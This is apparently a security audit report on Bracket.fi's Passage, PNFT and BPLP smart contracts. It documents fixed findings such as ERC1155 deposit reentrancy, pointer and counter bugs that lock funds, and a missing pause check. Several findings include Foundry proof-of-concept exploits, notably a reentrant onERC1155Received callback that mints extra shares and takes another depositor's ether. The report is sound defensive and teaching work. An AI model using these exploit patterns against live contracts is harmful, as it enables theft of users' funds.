Passage - Bracket.fi

The BPLP contract uses ERC1155 tokens to be able to keep track of tokens based on the vault id. However, because ERC1155 tokens call the onERC1155Received on the destination address after being minted, they are prone to re-entrancy vulnerabilities.

Moreover, the deposit function increases the amtETH variable used as a divisor in the token amount of calculation formula is updated after minting the token. This means that, in the case of a re-entrancy this variable is not increased on each run. Therefore, if an attacker performs a re-entrancy attack, as the divisor is lower than what it should be, in the reentrant calls they can mint extra shares, which can in return lead to stealing the funds from other users once the policies are claimed and withdrawn.

Passage.sol

function _deposit(address investor, address asset, uint256 amtETH) internal {
    uint256 vid = latestVid[asset];
    require( Vaults[vid].closeTime >= block.timestamp, "CLOSED");
    require( amtETH > 0, "ZAMT");
    uint256 ethPrice = IPricing(pricing).getLatestPrice(nativeAddr);

    uint256 supplyLPToken = totalSupply(vid);
    uint256 balanceToken = Vaults[vid].amtETH;
    uint256 amountLPToken;
    if (supplyLPToken == 0) {
        amountLPToken = amtETH;
    } else {
        amountLPToken = amtETH.mul(supplyLPToken).div(balanceToken);
    }
    _mint(investor, vid, amountLPToken, abi.encodePacked(amountLPToken));
    Vaults[vid].amtETH = Vaults[vid].amtETH.add(amtETH);
    emit Deposit(investor, amountLPToken, amtETH, vid, ethPrice);
}

• Alice deposits 10 ether on vault 1 of the liquidity pool.
• Alice receives 10ˆ18 shares of the vault.
• Bob now exploits the reentrancy in the deposit by performing 20 reentrant calls of 0.5 ether.
• Once the policy is claimed, both withdraw their gains.
• Alice receives 15 ether, instead of the approximately 20 that she should have received from the earnings of the pool.
• Bob receives 25 ether even though both deposited the same amount at the same time, effectively stealing 5 ether from Alice.

function testMintLPReentrancy() public {
    vm.deal(ALICE, 10 ether);
    vm.deal(BOB, 10 ether);

    pool.openVault(block.timestamp + 1 days, block.timestamp + 15 days, BTC_USD);

    console2.log(StdStyle.cyan("Alice decides to deposit 10 ether for BTC_USD on Vault 1."));
    vm.prank(ALICE);
    pool.deposit{value: 10 ether}(BTC_USD);
    console2.log(StdStyle.green("Alice shares balance:"), pool.balanceOf(ALICE, 1));

    console2.log(StdStyle.yellow("Now Bob exploits a reentrancy attack with a total of 20 0.5 ether reentrant calls."));
    console2.log(StdStyle.red("Performing first call to deposit."));
    pool.deposit{value: 0.5 ether}(BTC_USD);

    console2.log(StdStyle.green("Bob shares balance:"), pool.balanceOf(address(this), 1));

    skip(1 days);
    console2.log(StdStyle.cyan("Orders are placed."));
    easyLPOrder(20 ether, BTC_USD, true, 1);
    easyPassageOrder(21 ether, BTC_USD, false);

    console2.log(StdStyle.cyan("Orders are matched."));
    passage.autoMatch(BTC_USD);

    console2.log(StdStyle.cyan("Skipping 15 days."));
    skip(15 days);
    console2.log(StdStyle.cyan("Claiming Policy, "));
    passage.claim(1);

    console2.log(StdStyle.cyan("Claims are payed."));
    pool.pay(1, 1);
    pool.pay(1, 2);

    pool.withdraw(1, address(this));


    pool.withdraw(1, ALICE);
    console2.log(StdStyle.red("Alice balance:"), ALICE.balance);
    console2.log(StdStyle.red("Bob balance:"), (40 ether - ALICE.balance));
}

uint256 private reentrantCounter = 2;

function onERC1155Received(
    address,
    address,
    uint256,
    uint256,
    bytes memory
) public returns (bytes4) {
    if(reentrantCounter <= 20) {
        console2.log(StdStyle.red("Performing reentrant call to deposit: "), reentrantCounter);
        ++reentrantCounter;
        pool.deposit{value: 0.5 ether}(BTC_USD);
    }
    return this.onERC1155Received.selector;
}

SOLVED: The \client team fixed the issue by adding the nonReentrant modifier to the deposit() function in commit 78f58a33.

The Passage contract allows users to create orders through the order() function and cancel them before they are matched through the cancelInv(). Once the orders reach a certain threshold, the autoMatch() function gets called, which converts all these pending orders into policies and creates a passage.

These functions use linked lists through the StructuredLinkedList library to properly keep track of all the orders and be able to match them through the autoMatch(). Furthermore, the autoMatch() function uses the inPtr and outPtr state variables, which contain the id of the first non-matched order for both inside and outside orders.

In order for the autoMatch() function to work properly, it is crucial that these pointers be properly recalculated every time orders are matched or cancelled so that it always points to the id of the first non-matched orders, otherwise the autoMatch() function does not have the proper id to start iterating over the linked list and cannot successfully match the orders.

In order to recalculate the pointers when an order is cancelled, the cancelInv() function checks if the pointer points to the order to be cancelled, and if so, the function gets the previous order in the linked list through the getPreviousNode() method of the StructuredLinkedList library and set the pointer to the previous order in the list.

Passage.sol

else if (inPtr[inv.asset] == nftId) {
    // the difficult cases are if it's the head...
    if (inv.availETH == inv.sentETH ) {
        // was never used so safe to remove.  But reset head to prior
        // and IMPORTANT, make sure prior has available == 0
        (, uint priorPtr) = inList[inv.asset].getPreviousNode(nftId);
        inList[inv.asset].remove(nftId);
        inPtr[inv.asset] = priorPtr;
        if (priorPtr != 0) {
            PassageLib.PInvest memory inv2 = PNFT(g.nftAddr).getInvestment( priorPtr );
            if (inv2.availETH != 0) {
                PNFT(g.nftAddr).reduceAvil( priorPtr, inv2.availETH );
            }
        }
    } else {
        // else it was used in which case we just reduce avail to zero
        PNFT(g.nftAddr).reduceAvil( nftId, inv.availETH );
    }
}

However, because pointers should always point to the first non-matched order, there is no point in getting the previous node as it is an already-matched order, or if this is the first order the pointers get to 0. In this last case, all the remaining orders cannot cancel their investment, as there is a require in the cancelInv() function that ensures pointers are never 0. Furthermore, orders cannot be matched as the autoMatch() function checks that inPtr and outPtr variables are not 0 as well-meaning orders cannot be matched either.

Passage.sol

require(inPtr[inv.asset] != 0, "ZINP");

Passage.sol

require(outPtr[inv.asset] != 0, "ZOUTP");

• Alice creates an order for BTC asset for both inside and outside with ids 1 and 2.
• outPtr becomes 1 and inPtr becomes 2.
• Bob creates 3 orders, two for inside and 1 for outside.
• As the first non-matched orders are Alice's orders, the pointers do not get updated.
• Alice decides to cancel both her orders.
• Pointers now get updated to 0, and neither Bob nor anyone else that invested after Alice will be able to cancel or withdraw their funds.
• Moreover, as pointers are now 0, if a new order is created the pointer will be updated to the new order id, meaning the previous orders cannot be matched and no one will be able to withdraw their funds.

    function testPOC_Pointer0Issue() public {
        uint256 assetPrice = pricing.getLatestPrice(BTC_USD);

        vm.deal(ALICE, 1 ether);
        vm.deal(BOB, 5 ether);

        console2.log(StdStyle.cyan(StdStyle.bold("Alice creates an order for BTC asset for both inside and outside")));
        vm.startPrank(ALICE);
        {
            console2.log(StdStyle.cyan("Order ID 1: Alice is betting 1/100 ether to BTC going outside"));
            passage.order{value: 1e15}(BTC_USD, false, 1e17, assetPrice+100, assetPrice-100, 3600*24*7);
            console2.log(StdStyle.cyan("Order ID 2: Alice is betting 1/100 ether to BTC staying inside"));
            passage.order{value: 1e15}(BTC_USD, true, 1e17, assetPrice+100, assetPrice-100, 3600*24*7);
        }
        vm.stopPrank();

        console2.log(StdStyle.cyan(StdStyle.bold("Bob creates more orders for BTC asset")));
        vm.startPrank(BOB);
        {
            console2.log(StdStyle.cyan("Order ID 3: Bob is betting 1 ether to BTC going outside"));
            passage.order{value: 1 ether}(BTC_USD, false, 1e17, assetPrice+100, assetPrice-100, 3600*24*7);
            console2.log(StdStyle.cyan("Order ID 4: Bob is betting 1 ether to BTC staying inside"));
            passage.order{value: 1 ether}(BTC_USD, true, 1e17, assetPrice+100, assetPrice-100, 3600*24*7);
            console2.log(StdStyle.cyan("Order ID 5: Bob is betting 1 ether to BTC staying inside"));
            passage.order{value: 1 ether}(BTC_USD, true, 1e17, assetPrice+100, assetPrice-100, 3600*24*7);
        }
        vm.stopPrank();

        console2.log(StdStyle.green(StdStyle.bold(string.concat("Checking outPtr value: ", vm.toString(passage.outPtr(BTC_USD))))));
        console2.log(StdStyle.green(StdStyle.bold(string.concat("Checking inPtr value: ", vm.toString(passage.inPtr(BTC_USD))))));

        console2.log(StdStyle.yellow(StdStyle.bold("Alice decides to cancel both orders")));
        vm.startPrank(ALICE);
        {
            console2.log(StdStyle.yellow("Alice is canceling order ID 1 (Outside)."));
            passage.cancelInv(1);
            console2.log(StdStyle.yellow("Alice is canceling order ID 2 (Inside)"));
            passage.cancelInv(2);
        }
        vm.stopPrank();

        console2.log(StdStyle.red(StdStyle.bold(string.concat("Checking outPtr value: ", vm.toString(passage.outPtr(BTC_USD))))));
        console2.log(StdStyle.red(StdStyle.bold(string.concat("Checking inPtr value: ", vm.toString(passage.inPtr(BTC_USD))))));

        console2.log(StdStyle.red(StdStyle.bold("Bob now cannot cancel his orders")));
        vm.startPrank(BOB);
        {
            console2.log(StdStyle.yellow("Bob is canceling order ID 3 (Outside)."));
            vm.expectRevert(bytes("ZOUTP"));
            passage.cancelInv(3);
            console2.log(StdStyle.red("TX Reverts due to ZOUTP!"));
            console2.log(StdStyle.yellow("Bob is canceling order ID 4 (Inside)"));
            vm.expectRevert(bytes("ZINP"));
            passage.cancelInv(4);
            console2.log(StdStyle.red("TX Reverts due to ZINP!"));
            console2.log(StdStyle.yellow("Bob is canceling order ID 5 (Inside)"));
            vm.expectRevert(bytes("ZINP"));
            passage.cancelInv(5);
            console2.log(StdStyle.red("TX Reverts due to ZINP!"));
        }
        vm.stopPrank();
    }

SOLVED: The \client team fixed the issue by retrieving the next node in the list instead of the previous one in commit ca7bd2b1.

The Passage contract uses the autoMatch() function to match orders on both sides of the order book. The matchIn() and matchOut() functions usually increment the pointer, unless the last matched order is the one at the end of the list.

Passage.sol

// if the head has zero available then increment if next node is not zero
if (av == 0) {
  ( , iPtr) = inList[asset].getNextNode(iPtr);
  if (iPtr == 0) {
    revert("SECZ"); // this should never happen if so we have a HUGE issue.
  }

Moreover, the function initially checks if the order in the head of the list has 0 available ether left to avoid matching an already fully-matched order. Under most circumstances this is a valid condition, however a corner case has been found in which after a match, where the inPtr or outPtr has 0 available ether it is possible to set the next node to 0 available ETH by canceling the node in the pointer, as the cancel function would reduce the availETH amount of the next node to 0. Under these circumstances, a denial-of-service could be caused, as this is a condition that is meant to never happen.

Passage.sol

if (inv.availETH == inv.sentETH) {
  // was never used so safe to remove.  But reset head to prior
  // and IMPORTANT, make sure prior has available == 0
  (, uint nextPtr) = outList[inv.asset].getNextNode(nftId);
  outList[inv.asset].remove(nftId);
  outPtr[inv.asset] = nextPtr;
  PassageLib.PInvest memory inv2 = PNFT(g.nftAddr).getInvestment(nextPtr);
  if (inv2.availETH != 0) {
    PNFT(g.nftAddr).reduceAvil(priorPtr, inv2.availETH);
  }

• Alice creates an order of 1 ETH for BTC asset for both inside and outside with IDs 1 and 2.
• outPtr becomes 1 and inPtr becomes 2.
• Bob creates more orders for both sides.
• Alice cancels both orders 1 and 2, recovering her funds.
• The pointers now point to Bob's orders.
• Now, orders cannot be matched as transaction will revert due to "SECZ".
• Moreover, the available ETH from Bob was reduced to 0, meaning he will not be able to cancel his orders either.
• This will not only lead to funds lock, but also of a denial of service for the autoMatch function.

function testPOCSECZ() public {
    uint256 assetPrice = pricing.getLatestPrice(BTC_USD);

    vm.deal(ALICE, 20 ether);
    vm.deal(BOB, 20 ether);

    console2.log(StdStyle.cyan(StdStyle.bold("Alice creates an order for BTC asset for both inside and outside")));
    vm.startPrank(ALICE);
    {
        console2.log(StdStyle.cyan("Order ID 1: Alice is betting 1 ether to BTC going outside"));
        passage.order{value: 1 ether}(BTC_USD, false, 1e17, assetPrice+100, assetPrice-100, 3600*24*7);
        console2.log(StdStyle.cyan("Order ID 2: Alice is betting 1 ether to BTC staying inside"));
        passage.order{value: 1 ether}(BTC_USD, true, 1e17, assetPrice+100, assetPrice-100, 3600*24*7);
    }
    vm.stopPrank();

    vm.startPrank(BOB);
    {
        console2.log(StdStyle.cyan("Order ID 3: Bob is betting 1 ether to BTC going outside"));
        passage.order{value: 1 ether}(BTC_USD, false, 1e17, assetPrice+100, assetPrice-100, 3600*24*7);
        console2.log(StdStyle.cyan("Order ID 4: Bob is betting 1 ether to BTC going outside"));
        passage.order{value: 1 ether}(BTC_USD, true, 1e17, assetPrice+100, assetPrice-100, 3600*24*7);
    }
    vm.stopPrank();

    console2.log(StdStyle.green(StdStyle.bold(string.concat("Checking outPtr value: ", vm.toString(passage.outPtr(BTC_USD))))));
    console2.log(StdStyle.green(StdStyle.bold(string.concat("Checking inPtr value: ", vm.toString(passage.inPtr(BTC_USD))))));

    console2.log(StdStyle.cyan("Alice is canceling Order ID 1"));
    console2.log(StdStyle.cyan("Alice is canceling Order ID 2"));
    vm.startPrank(ALICE);
    {
        passage.cancelInv(1);
        passage.cancelInv(2);
    }
    vm.stopPrank();

    console2.log(StdStyle.yellow(StdStyle.bold(string.concat("Checking outPtr value: ", vm.toString(passage.outPtr(BTC_USD))))));
    console2.log(StdStyle.yellow(StdStyle.bold(string.concat("Checking inPtr value: ", vm.toString(passage.inPtr(BTC_USD))))));

    console2.log(StdStyle.cyan("Calling autoMatch function."));
    passage.autoMatch(BTC_USD);
}

SOLVED: The \client team fixed the issue by not adding the value of the available ether left in the order when checking if the final match is complete in commit ca7bd2b1.

It was discovered that it was possible to set to 0 the inPtr and outPtr variables when the last order matched had the exact amount of available ether left to cover the remaining match amount and the last order was cancelled. This is mainly caused because in a perfect match, the pointer is left at the order id instead of 0. Under these circumstances, if the user cancels the following order and then calls autoMatch again, the pointer is set to 0.

Passage.sol

// lastly we increment the two Ptrs if HI was fully used and the next node is not zero.
inPtr[asset] = v.inHiId;
uint256 av = PNFT(g.nftAddr).getInvestment(v.inHiId).availETH;
( , uint256 tPtr) = inList[asset].getNextNode(v.inHiId);
if (av == 0 && tPtr != 0) {
    inPtr[asset] = tPtr;
}
outPtr[asset] = v.outHiId;
av = PNFT(g.nftAddr).getInvestment(v.outHiId).availETH;
( , tPtr) = outList[asset].getNextNode(v.outHiId);
if (av == 0 && tPtr != 0) {
    outPtr[asset] = tPtr;
}

This would lead to the users on that side of the channel and that asset to have their funds locked, as the main functions such as autoMatch() and cancelInv() have a require statement to enforce that orders cannot be matched or claimed while pointer is 0.

• Alice bets twice for BTC to go outside for 1 and 2 ether respectively on orders 1 and 2.
• Bob bets for BTC to stay inside for 3 ether on order 3.
• Alice bets again for BTC to go outside for 1 ether on order 4.
• The match amount will be 3, therefore order 2 will be a perfect match.
• The outPtr will be set to 1 although the order 2 has no ether left.
• Now Alice cancels her order 4.
• Upon matching, tx will revert due to INZ/OUTZ.

Passage.sol

function testPOCOUTZ() public {
    uint256 assetPrice = pricing.getLatestPrice(BTC_USD);

    vm.deal(ALICE, 20 ether);
    vm.deal(BOB, 20 ether);

    console2.log(StdStyle.cyan(StdStyle.bold("Alice creates an order for BTC asset for both inside and outside.")));
    vm.startPrank(ALICE);
    {
        console2.log(StdStyle.cyan("Order ID 1: Alice is betting 1 ether to BTC going outside."));
        passage.order{value: 1 ether}(BTC_USD, false, 1e17, assetPrice+100, assetPrice-100, 3600*24*7, 0);
        console2.log(StdStyle.cyan("Order ID 2: Alice is betting 2 ether to BTC going outside."));
        passage.order{value: 2 ether}(BTC_USD, false, 1e17, assetPrice+100, assetPrice-100, 3600*24*7, 0);
    }
    vm.stopPrank();

    console2.log(StdStyle.cyan("Order ID 3: Bob is betting 3 ether to BTC staying inside."));
    vm.prank(BOB);
    passage.order{value: 3 ether}(BTC_USD, true, 1e17, assetPrice+100, assetPrice-100, 3600*24*7, 0);

    console2.log(StdStyle.cyan("Matching orders for BTC."));
    passage.autoMatch(BTC_USD);
    console2.log(StdStyle.red("outPtr: "), passage.outPtr(BTC_USD));

    console2.log(StdStyle.cyan("Order ID 4: Alice is betting 1 ether to BTC going outside."));
    passage.order{value: 1 ether}(BTC_USD, false, 1e17, assetPrice+100, assetPrice-100, 3600*24*7, 0);

    console2.log(StdStyle.cyan("Alice is canceling order 4."));
    passage.cancelInv(4);

    console2.log(StdStyle.cyan("Order ID 5: Bob is betting 3 ether to BTC staying inside."));
    vm.prank(BOB);
    passage.order{value: 3 ether}(BTC_USD, true, 1e17, assetPrice+100, assetPrice-100, 3600*24*7, 0);

    console2.log(StdStyle.cyan("Order ID 6: Bob is betting 1 ether to BTC going outside."));
    vm.prank(BOB);
    passage.order{value: 3 ether}(BTC_USD, false, 1e17, assetPrice+100, assetPrice-100, 3600*24*7, 0);

    console2.log(StdStyle.cyan("Matching orders for BTC."));
    passage.autoMatch(BTC_USD);
    console2.log(StdStyle.red("outPtr: "), passage.outPtr(BTC_USD));
}

SOLVED: The \client team fixed the issue in commit 70ddfa16 by modifying the pointer logic.

When matching an order through the matchIn() and matchOut() the v.inCnt or v.outCnt variables are meant to be the number of fully matched orders to reduce the counters with. However, these variables are being increased even when there is a partial match, meaning all, not ether has been matched and the order will still have some ether left to be matched in a future claim.

This should not reduce the global counter variables as the order still has some ether left to be matched as although the order has been matched into a claim it will stay in the order book for future claims until all the ether has been matched and placed into claims.

Passage.sol

    v.inAccum = v.inAccum.add(v.inHiETH);
    v.inCommish = v.inCommish.add(v.inHiETH.multFactor(commRate));
    // do NOT increment inCnt unless the final match is complete
    if (v.inAccum == amt) {
        unchecked {++v.inCnt;}
    }
    break;

This means that when this happens, the counter is always one value below what it should be, and all the functions that reduce the counter such as autoMatch() and cancelInv() underflows once the counter reaches 0 and do not allow the users to cancel the investment leading to fund locks. Furthermore, no one can ever match orders again as the match functions constantly try to reduce the counter below 0, leading to a denial of service of the main contract's functionality.

• Alice bets twice for BTC to go outside for 3 and 2 ether respectively on orders 1 and 2.
• Bob bets for BTC to stay inside for 4 ether on order 3.
• Orders are not matched.
• Even though Alice's order 2 has not been fully matched, outCnt has been reduced to 0.
• Bob now places an order of 1 ether for BTC to go outside on order id 4.
• If someone tries to call the autoMatch function now, the function will always revert due to underflow when subtracting 1 from outCnt.
• If Alice tries to cancel her order, she will not be able, as the function will revert due to underflow when subtracting 1 from outCnt.

function testPOCUnderflow1() public {
    vm.deal(ALICE, 20 ether);
    vm.deal(BOB, 20 ether);

    vm.startPrank(ALICE);
    {
        console2.log(StdStyle.cyan(StdStyle.bold("Alice bets 3 ether for BTC to go outside on order ID 1.")));
        passage.order{value: 3 ether}(BTC_USD, false, 1e17, 2e22+100, 2e22-100, 3600*24*7, 0); // out
        console2.log(StdStyle.cyan(StdStyle.bold("Alice bets another 2 ether for BTC to go outside on order ID 2.")));
        passage.order{value: 2 ether}(BTC_USD, false, 1e17, 2e22+100, 2e22-100, 3600*24*7, 0); // out
    }
    changePrank(BOB);
    {
        console2.log(StdStyle.cyan(StdStyle.bold("Bob bets 4 ether for BTC to stay inside on order ID 3.")));
        passage.order{value: 4 ether}(BTC_USD, true, 1e17, 2e22+100, 2e22-100, 3600*24*7, 0); // in
    }
    vm.stopPrank();
    console2.log(StdStyle.green(StdStyle.bold(string.concat("Checking outCnt value: ", vm.toString(passage.outCnt(BTC_USD))))));
    console2.log(StdStyle.green(StdStyle.bold(string.concat("Checking inCnt value: ", vm.toString(passage.inCnt(BTC_USD))))));

    console2.log(StdStyle.cyan(StdStyle.bold("Calling autoMatch function.")));
    passage.autoMatch(BTC_USD);

    console2.log(StdStyle.yellow(StdStyle.bold(string.concat("Checking outCnt value: ", vm.toString(passage.outCnt(BTC_USD))))));
    console2.log(StdStyle.yellow(StdStyle.bold(string.concat("Checking inCnt value: ", vm.toString(passage.inCnt(BTC_USD))))));

    console2.log(StdStyle.cyan(StdStyle.bold("Bob now decides to bet another 1 ether for BTC to stay inside on order ID 4.")));
    vm.prank(BOB);
    passage.order{value: 1 ether}(BTC_USD, true, 1e17, 2e22+100, 2e22-100, 3600*24*7, 0); //in


    console2.log(StdStyle.red(StdStyle.bold(string.concat("Checking outAmt value: ", vm.toString(passage.outAmt(BTC_USD))))));
    console2.log(StdStyle.red(StdStyle.bold(string.concat("Checking inAmt value: ", vm.toString(passage.inAmt(BTC_USD))))));
    console2.log(StdStyle.red(StdStyle.bold(string.concat("Checking outCnt value: ", vm.toString(passage.outCnt(BTC_USD))))));
    console2.log(StdStyle.red(StdStyle.bold(string.concat("Checking inCnt value: ", vm.toString(passage.inCnt(BTC_USD))))));

    console2.log(StdStyle.cyan(StdStyle.bold("Calling autoMatch function.")));
    passage.autoMatch(BTC_USD);
}

SOLVED: The \client team fixed the issue by also checking that v.inHiETH is equal to the available ether before increasing the counter in the match functions in commit 05907076.

When an order is placed in the Passage contract, the user has to specify some slippage limits such as:

• Minimum price of the asset at the time of creating the policy.
• Maximum price of the asset at the time of creating the policy.
• Maximum width of the channel at the time of creating the policy.

PNFT.sol

function transferFrom(
    address from,
    address to,
    uint256 tokenId
) public override {
    safeTransferFrom(from, to, tokenId, "");
}

function safeTransferFrom(
    address from,
    address to,
    uint256 tokenId
) public override {
    safeTransferFrom(from, to, tokenId, "");
}

function safeTransferFrom(
    address from,
    address to,
    uint256 tokenId,
    bytes memory data
) whenNotPaused() nonReentrant() public override {
    require( tokenId != 0 && Invests[tokenId].safeToTrans == true, "EARLY");
    super.safeTransferFrom(from, to, tokenId, data);
}

However, this is not enforced anywhere in the code, as the match functions are trying to avoid looping through all the investments to decrease gas usage. Bracket.fi team plans on having a keeper constantly monitoring and canceling functions in the order book when they go out of the specified ranges by the user. However, this could be a problem because:

• The keeper might go down.
• If an order is placed and immediately matched, the keeper will miss it.
• If an order goes out of the slippage limits due to a spike in the price of the asset and goes back in range a few moments later, the keeper will have already cancelled it even if the match had not taken place.

SOLVED: The \client team fixed the issue by adding a hold order functionality that allows to hold an order until the slippage limits are met in commit 3478967b.

The cancelInv() function is missing the whenNotPaused() modifier, this means that orders can be cancelled while the contract is paused, which goes against the purpose of pausable contracts of minimizing impact in the case of an incident.

Passages.sol

    function cancelInv( uint256 nftId) public {

SOLVED: The \client team fixed the issue by adding the whenNotPaused() modifier to the cancelInv() function in commit 87eda80a.

As the matchIn() and matchOut() functions do not loop the orders to calculate the amounts in order to save gas there is a small rounding error in the calculated commission amounts in the claim() function.

Passage.sol

if (g.TIMEBASED) {
    uint256 claimTime = p1.exprTime.min(block.timestamp);
    v.frac = MathUpgradeable.mulDiv((claimTime - p2.startTime), uint256(1e18), (p1.exprTime - p2.startTime));
    v.frac = v.frac.min(uint256(1e18));
    v.inBal = v.amt2x.multFactor(v.frac);
    v.outBal = v.amt2x.sub(v.inBal);
} else {
    if (v.assPrice >= p2.startPrice) {
        v.frac = (v.assPrice - p2.startPrice);
    } else {
        v.frac = (p2.startPrice - v.assPrice);
    }
    v.frac = MathUpgradeable.mulDiv(v.frac, uint256(1e18), v.spread2x);
    v.frac = v.frac.min(uint256(1e18));
    v.outBal = v.amt2x.multFactor( v.frac);
    v.inBal = v.amt2x.sub(v.outBal);
}

v.inComm = v.inBal.multFactor(p2.inCommRate);
v.outComm = v.outBal.multFactor(p2.outCommRate);
v.commish = v.inComm.add(v.outComm);

SOLVED: The \client team fixed the issue by refactoring the policies logic and looping through all the orders when creating a policy in commit 3329572c.

Commission are paid to the owner address in the claim() function. These commissions are paid with a normal ether transfer to the owner's address. However, if for any reason the multi-signature wallet's contract or the owner of the contract cannot receive the ether the transaction reverts leaving the policies unclaimable which may also affect the winner result, as meanwhile in a worst-case scenario a policy could pass the period specified for the channel and go in channel or out channel after this period until the issue is fixed.

Passages.sol

(bool success, ) = payable(owner()).call{value: v.commish}("");
require( success, "COMMPAY");

SOLVED: The \client team fixed the issue by moving to a two-step transfer process where balances are accumulated until called by the user or admin in commit 3329572c.

The Passage contract allows the owner to set a width for the channel through the setPrice() function.

Passage.sol

 function setPrice(address asset, uint256 newPrice) public onlyAdminOrOwner {
    chanPrice[asset] = newPrice;
    emit PassagePrice(asset, newPrice);
}

Moreover, the autoMatch() function requires the channel price to be greater than 1e15. However, this is not enforced in the setPrice() function. It is then possible for the owner of the contract to accidentally set the channel price to a value below 1e15, which would cause the autoMatch() function to always revert.

Passage.sol

function autoMatch(address asset ) whenNotPaused() nonReentrant() public {
    require( chanPrice[asset] >= 1e15, "CHPRICE");

SOLVED: The \client team fixed the issue by adding an if statement that reverts if price is below 1e15 in commit 3329572c.

Commission are paid to the owner address in the claim() function. However, this function does not have nonReentrant modifier, and its logic allows performing reentrancy as variables that prevent from double-paying commissions are updated after the ether payment. This would normally be a critical issue; however, the risk is severely mitigated by the fact that only the owner address which is controlled by a multi-signature wallet from Bracket.fi can perform the re-entrancy attack.

Passages.sol

    (bool success, ) = payable(owner()).call{value: v.commish}("");
    require( success, "COMMPAY");

    Policies1[tPtr].claimPriceUSD = v.assPrice;
    Policies2[tPtr].inClaimAmtETH = v.inBal;
    Policies2[tPtr].outClaimAmtETH = v.outBal;
    Policies2[tPtr].ETHLeft = v.amt2x.sub(v.commish);
        // else its the last policy so don't increment

    emit PassageClaim( p1.asset, tPtr, v.assPrice, v.ethPrice, v.inBal, v.outBal, v.inComm, v.outComm);

    // remove the policy that was claimed if its not the head.
    if (tPtr != claimPtr) {
        Pol.remove(tPtr);
    }
    // now check if we can increment the head.
    p1 = Policies1[claimPtr];
    if (p1.claimPriceUSD != 0) {
        (,uint256 next) = Pol.getNextNode(claimPtr);
        if (next != 0) {
            // unless next is null then don't icrement it.
            Pol.remove(claimPtr);
            claimPtr = next;
        }
        // else it must be a claimed head but end of the list
    }

SOLVED: The \client team fixed the issue by no longer sending ether with the claim function and instead moving to a two-step withdrawal process in commit 3329572c.

The policies are claimed once they go out of channel or expire through the claim() function. Because a policy should be claimable as soon as it goes out of channel or as soon as the time expires, it is important that users can claim their policies. Otherwise, this may lead to losses for some users if the keeper misses a short period of time when the price went out of channel or misses when the claim expires.

However, right now, the claim function has the onlyAdminOrOwner modifier, which only allows the admin or owner addresses to claim the policies.

Passages.sol

    function claim(uint256 _contId) whenNotPaused() onlyAdminOrOwner() public {
        require( canClaim(_contId) != 0, "NOCLM1");

SOLVED: The \client team fixed the issue by allowing anyone to claim the policies, since this is considered to not pose any security risk in commit 3329572c.

Some of the functions that perform ether transfers do not have the nonReentrant modifier. Although except for the claim() and deposit() functions already reported above, the remaining functions have not been found to be vulnerable to re-entrancy it's important to include the nonReentrant modifier as minor changes in the function's logic can introduce new re-entrancy vulnerabilities.

SOLVED: The \client team fixed the issue by adding the nonReentrant modifiers in commit 3329572c.

When an order in the Passage contract, is perfectly matched in the matchIn() or matchOut() meaning the order's amount is the exact amount to cover the remaining match amount the inCnt or outCnt is not reduced and as such is set to 1 even though there are no orders left in the book.

This has been observed to not pose any security or functionality issue as when a new order is placed the counter resets to the proper value.

However, it would be considered a best practice to reduce it to 0, as counters are supposed to indicate the amount of orders in the book, which in this case should be 0.

Moreover, this breaks one of the invariants defined at the beginning of the audit, which is that for any side with no orders left in the book amount, counter and pointer variables should all be 0.

SOLVED: The \client team fixed the issue by changing the contract's logic to no longer use counters in commit 3329572c.

Some function arguments, such as the data argument in the mintNFT function of the PNFT contract are not used in the code.

Passages.sol

function mintNFT(address funder, uint256 data ) external onlyBrkt
returns (uint256) {
    _tokenIds.increment();
    uint256 newItemId = _tokenIds.current();
    _mint(funder, newItemId);

    // IF TEST
    string memory url = "";

    // IF PROD
//        string memory url = "https://arweave.net/_2QEOxUFDRZoJ5ENSOQo2Lw4peTL0qyWYwdQF9-UalY";
//        if ( newItemId <= 250) {
//            url = "https://arweave.net/88LKw2SkFKhrzfHCgcoW-75DKGOCv5CJrJwIjSUCDdY";
//        } else  if ( newItemId <= 1000) {
//            url = "https://arweave.net/NzP4ks4y9LLN7s6rJ5JDm8y7pwvfZoFWvIbSIm0dRVc";
//        } else  if ( newItemId <= 5000) {
//            url = "https://arweave.net/4GE5qzFCqN_dg20G_VXZd7OwSuV3UPa0DjMiuVOa2UI";
//        } else  if ( newItemId <= 15000) {
//            url = "https://arweave.net/Dn4QX_PTI8mk8OR57wSfUXvoiAdKAPBaL6QsQosNtDY";
//        }

    // ALL
    _setTokenURI(newItemId, url );
    return newItemId;
}

This will unnecessarily increase the gas usage when calling the function.

SOLVED: The \client team fixed the issue by using the arguments for production environment in commit 3329572c.

Some view test functions have been found in the Passage contract code. This function returns values used for testing.

However, these functions are not necessary in a production environment, as there are more efficient ways to retrieve the information. Moreover, they will increase the bytecode and cost of deployment of the contract.

SOLVED: The \client team fixed the issue by removing the test functions from the codebase in commit 3329572c.

Starting from Solidity v0.8.4, there is a convenient and gas-efficient way to explain to users why an operation failed through the use of custom errors. If the revert string uses strings to provide additional information about failures (e.g. require(msg.sender == owner() || msg.sender == admin, "ADMIN");), but they are rather expensive, especially when it comes to deploying cost, and it is difficult to use dynamic information in them.

Also note that strings longer than 32 bytes cost additional gas.

SOLVED: The \client team fixed the issue by replacing require strings with custom errors in commit 3329572c.

Most of the unsigned integer variables in the codebase are uint256. However, this is overkill for most of the variables. For example, the inPtr and outPtr variables are uint256.

However, if they were reduced to uint32, there would need to be 4,294,967,295 orders pending to be matched, which will never be the case, the same applies for the counters and most of the variables.

SOLVED: The \client team fixed the issue by packing the data types in commit 3329572c.